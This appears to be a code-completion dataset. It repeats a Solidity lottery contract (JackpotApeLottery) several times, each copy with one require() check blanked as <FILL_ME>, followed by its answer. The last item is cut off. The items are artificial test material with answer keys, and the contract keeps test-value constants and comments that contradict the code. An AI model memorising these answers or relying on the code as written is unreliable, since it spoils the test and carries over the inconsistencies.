uint256[] calldata _ticketNumbers) external override notContract nonReentrant { require(_ticketNumbers.length != 0, "No ticket specified"); require(_ticketNumbers.length <= maxNumberTicketsPerBuyOrClaim, "Too many tickets"); require(_lotteries[_lotteryId].status == Status.Open, "Lottery is not open"); require(block.timestamp < _lotteries[_lotteryId].endTime, "Lottery is over"); uint256 _freeTickets = calculateFreeTickets(msg.sender, _lotteryId); require(_freeTickets >= _ticketNumbers.length, "Insufficient free tickets"); for (uint256 i = 0; i < _ticketNumbers.length; i++) { uint256 thisTicketNumber = _ticketNumbers[i]; require(<FILL_ME>) _userTicketIdsPerLotteryId[msg.sender][_lotteryId].push(currentTicketId); _tickets[currentTicketId] = Ticket({number: thisTicketNumber, owner: msg.sender}); for(uint256 j = 0; j < 6; j++) { uint256 lotteryNumber = thisTicketNumber % 100; thisTicketNumber = thisTicketNumber / 100; require(lotteryNumber <= 49, "Wrong number"); _existLotteryNumberInTicket[_lotteryId][currentTicketId][lotteryNumber] = true; } // Increase lottery ticket number currentTicketId++; } _numberFreeTicketsPerLotteryId[_lotteryId][msg.sender] = _numberFreeTicketsPerLotteryId[_lotteryId][msg.sender] + _ticketNumbers.length; emit FreeTicketsPurchase(msg.sender, _lotteryId, _ticketNumbers.length); } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner { } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
(thisTicketNumber>=1000000000000)&&(thisTicketNumber<=1494949494949),"Outside range"
99,547
(thisTicketNumber>=1000000000000)&&(thisTicketNumber<=1494949494949)
"Lottery not claimable"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override notContract nonReentrant { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { require(_ticketIds.length != 0, "Length must be >0"); require(_ticketIds.length <= maxNumberTicketsPerBuyOrClaim, "Too many tickets"); require(<FILL_ME>) // Initializes the rewardInTicketTokenToTransfer uint256 rewardInTicketTokenToTransfer; for (uint256 i = 0; i < _ticketIds.length; i++) { uint256 thisTicketId = _ticketIds[i]; require(_lotteries[_lotteryId].firstTicketIdNextLottery > thisTicketId, "TicketId too high"); require(_lotteries[_lotteryId].firstTicketId <= thisTicketId, "TicketId too low"); require(msg.sender == _tickets[thisTicketId].owner, "Not the owner"); // Update the lottery ticket owner to 0x address _tickets[thisTicketId].owner = address(0); uint256 rewardForTicketId = _calculateRewardsForTicketId(_lotteryId, thisTicketId); // Check user is claiming the correct bracket require(rewardForTicketId != 0, "No prize for this bracket"); // Increment the reward to transfer rewardInTicketTokenToTransfer += rewardForTicketId; } require(address(this).balance >= rewardInTicketTokenToTransfer, "Insufficient balance"); // Transfer money to msg.sender (bool success, ) = msg.sender.call{value: rewardInTicketTokenToTransfer}(""); require(success, "Error to claim reward."); emit TicketsClaim(msg.sender, rewardInTicketTokenToTransfer, _lotteryId, _ticketIds.length); } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner { } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
_lotteries[_lotteryId].status==Status.Claimable,"Lottery not claimable"
99,547
_lotteries[_lotteryId].status==Status.Claimable
"TicketId too high"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override notContract nonReentrant { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { require(_ticketIds.length != 0, "Length must be >0"); require(_ticketIds.length <= maxNumberTicketsPerBuyOrClaim, "Too many tickets"); require(_lotteries[_lotteryId].status == Status.Claimable, "Lottery not claimable"); // Initializes the rewardInTicketTokenToTransfer uint256 rewardInTicketTokenToTransfer; for (uint256 i = 0; i < _ticketIds.length; i++) { uint256 thisTicketId = _ticketIds[i]; require(<FILL_ME>) require(_lotteries[_lotteryId].firstTicketId <= thisTicketId, "TicketId too low"); require(msg.sender == _tickets[thisTicketId].owner, "Not the owner"); // Update the lottery ticket owner to 0x address _tickets[thisTicketId].owner = address(0); uint256 rewardForTicketId = _calculateRewardsForTicketId(_lotteryId, thisTicketId); // Check user is claiming the correct bracket require(rewardForTicketId != 0, "No prize for this bracket"); // Increment the reward to transfer rewardInTicketTokenToTransfer += rewardForTicketId; } require(address(this).balance >= rewardInTicketTokenToTransfer, "Insufficient balance"); // Transfer money to msg.sender (bool success, ) = msg.sender.call{value: rewardInTicketTokenToTransfer}(""); require(success, "Error to claim reward."); emit TicketsClaim(msg.sender, rewardInTicketTokenToTransfer, _lotteryId, _ticketIds.length); } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner { } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
_lotteries[_lotteryId].firstTicketIdNextLottery>thisTicketId,"TicketId too high"
99,547
_lotteries[_lotteryId].firstTicketIdNextLottery>thisTicketId
"TicketId too low"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override notContract nonReentrant { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { require(_ticketIds.length != 0, "Length must be >0"); require(_ticketIds.length <= maxNumberTicketsPerBuyOrClaim, "Too many tickets"); require(_lotteries[_lotteryId].status == Status.Claimable, "Lottery not claimable"); // Initializes the rewardInTicketTokenToTransfer uint256 